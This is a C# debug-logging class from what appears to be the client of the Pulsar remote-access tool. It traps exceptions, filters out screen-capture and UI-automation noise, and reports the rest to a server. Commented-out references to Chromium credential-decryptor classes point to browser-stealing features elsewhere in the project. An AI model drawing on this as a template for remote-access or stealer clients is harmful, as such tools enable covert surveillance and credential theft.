using Pulsar.Client.LoggingAPI; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Runtime.ExceptionServices; using System.Security.Cryptography; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using System.Windows.Automation; namespace Pulsar.Client.User { internal class DebugLog : IDisposable { private readonly HashSet _ignoredExceptionTypes; private readonly HashSet _ignoredClasses; public DebugLog() { _ignoredExceptionTypes = new HashSet { typeof(CryptographicException), typeof(IOException), typeof(UnauthorizedAccessException), //typeof(FormatException) }; _ignoredClasses = new HashSet { //typeof(Pulsar.Client.Kematian.HelpingMethods.Decryption.ChromiumDecryptor), //typeof(Pulsar.Client.Kematian.HelpingMethods.Decryption.ChromiumV127Decryptor) }; AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; Application.ThreadException += Application_ThreadException; TaskScheduler.UnobservedTaskException += TaskScheduler_UnobservedTaskException; AppDomain.CurrentDomain.FirstChanceException += FirstChanceExcpetion_Handler; } private void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e) { if (e.ExceptionObject is Exception ex) { if (ShouldIgnoreException(ex)) { return; } LogException(ex); UniversalDebugLogger.SendLogToServer(ex.ToString()); } } private void Application_ThreadException(object sender, ThreadExceptionEventArgs e) { if (ShouldIgnoreException(e.Exception)) { return; } LogException(e.Exception); UniversalDebugLogger.SendLogToServer(e.Exception.ToString()); } private void TaskScheduler_UnobservedTaskException(object sender, UnobservedTaskExceptionEventArgs e) { if (ShouldIgnoreException(e.Exception)) { return; } LogException(e.Exception); UniversalDebugLogger.SendLogToServer(e.Exception.ToString()); } private void FirstChanceExcpetion_Handler(object sender, FirstChanceExceptionEventArgs e) { if (_ignoredExceptionTypes.Contains(e.Exception.GetType())) { return; } // see if its class is ignored if (ShouldIgnoreException(e.Exception)) { return; } LogException(e.Exception); UniversalDebugLogger.SendLogToServer(e.Exception.ToString()); } private bool ShouldIgnoreException(Exception ex) { // check against ignored classes var declaringType = ex.TargetSite?.DeclaringType; if (declaringType != null && _ignoredClasses.Contains(declaringType)) { return true; } if (IsUiAutomationException(ex)) { return true; } if (ex is ApplicationException && ex.Message.Contains("No devices of the category") && ex.StackTrace?.Contains("AForge.Video.DirectShow.FilterInfoCollection.CollectFilters") == true) { return true; } if (IsBlacklistedMessage(ex.Message) || IsBlacklistedMessage(ex.ToString())) { return true; } return false; } private bool IsUiAutomationException(Exception ex) { if (ex == null) { return false; } if (ex is ElementNotAvailableException || ex is ElementNotEnabledException || ex is NoClickablePointException) { return true; } if (ex is InvalidOperationException && (ex.Source?.IndexOf("UIAutomation", StringComparison.OrdinalIgnoreCase) >= 0 || ex.StackTrace?.IndexOf("MS.Internal.Automation", StringComparison.OrdinalIgnoreCase) >= 0)) { return true; } var exceptionText = ex.ToString(); if (string.IsNullOrEmpty(exceptionText)) { return false; } if (exceptionText.Contains("MS.Internal.Automation") || exceptionText.Contains("System.Windows.Automation") || exceptionText.Contains("UIAutomationClient") || exceptionText.Contains("AutomationProxies")) { return true; } if (exceptionText.IndexOf("L'op\u00E9ration n'est pas valide en raison de l'\u00E9tat actuel de l'objet", StringComparison.OrdinalIgnoreCase) >= 0) { return true; } if (exceptionText.IndexOf("The target element corresponds to a user interface that is no longer available", StringComparison.OrdinalIgnoreCase) >= 0) { return true; } return false; } private bool IsBlacklistedMessage(string message) { if (string.IsNullOrEmpty(message)) return false; if (UniversalDebugLogger.IsUiAutomationLog(message)) { return true; } var blacklistedPatterns = new[] { "HRESULT: [0x887A0027]", "DXGI_ERROR_WAIT_TIMEOUT", "WaitTimeout", "The timeout value has elapsed and the resource is not yet available", "SharpDX.SharpDXException", "SharpDX.DXGI", "SharpDX.Result.CheckError()", "Waiting for frame requests. Buffer size:", "Received packet: GetDesktop", "Capture FPS:", "Buffer size:", "Pending requests:", "Value does not fall within the expected range.", "Accessibility.IAccessible.get_accChild", "0x800401D0" }; foreach (var pattern in blacklistedPatterns) { if (message.Contains(pattern)) { return true; } } return false; } private void LogException(Exception ex) { Debug.WriteLine($"Exception: {ex.Message}\nStack Trace: {ex.StackTrace}"); } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { // Dispose managed resources here } } } }